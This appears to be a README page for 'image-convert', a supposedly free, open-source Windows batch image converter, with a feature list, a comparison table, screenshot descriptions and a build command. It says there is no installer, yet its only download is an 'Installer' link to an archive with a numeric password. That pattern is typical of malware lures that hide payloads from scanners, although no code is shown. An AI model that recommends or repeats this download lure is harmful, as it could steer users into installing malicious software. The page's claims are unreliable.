🖼️ Free, open-source batch image converter for Windows — WebP, PNG, JPG, TIFF to any format with resize. 100 MB portable, offline, MIT.
- ✅ Batch folder conversion — WebP, PNG, JPEG, BMP, GIF and TIFF between any pair, recursion optional
- ✅ Resize modes — percent, fit box, exact width or height, with optional 2x preset for wallpapers
- ✅ Quality with size estimate — JPEG and WebP quality slider showing predicted output size live
- ✅ Structure preserved — subfolder tree is mirrored into the output directory by default
- ✅ Metadata control — keep EXIF or strip it on export with a single toggle
- ✅ CLI switches — the same exe takes flags for scripts and scheduled jobs
- ✅ 100 MB self-contained exe — codecs and runtime bundled, portable, offline, MIT with SHA-256 releases
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB exe - no installer, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | image-convert | XnConvert | IrfanView | ImageMagick |
|---|---|---|---|---|
| Price | Free, MIT | Free | Free | Free, OSS |
| Open source | Yes | No | No | Yes |
| GUI queue with preview | Yes | Yes | Partial | No |
| Live output size estimate | Yes | No | No | No |
| CLI flags in same binary | Yes | Partial | Partial | Yes |
| Portable, no install | Yes, 100 MB | Zip | Installer | CLI |
how to convert WebP to PNG in bulk on Windows?
Web converters bottleneck at a few files and upload everything in between, which is terrible on a metered connection. image-convert processes whole folders locally between all common formats, mirrors your folder structure and shows the output size before writing. It is a 100 MB portable exe, MIT, offline with no account.
All screenshots describe the 1280x800 dark UI.
- Dark queue (#121418, sky #38BDF8): dropped folder with 214 images, format column WebP to PNG, quality slider at 90, output size estimate per row.
- Resize panel: mode tabs percent, box, width; 50 percent field, structure preservation toggle on, 2x wallpaper preset chip.
- Run view: progress at 63 percent with four thumbnails converting, folder tree preview of output, CLI command line shown for the same job.
| Source | Link |
|---|---|
| 💾 Installer image-convert | Installer image-convert |
Archive password:
5139237619
Requires the .NET SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.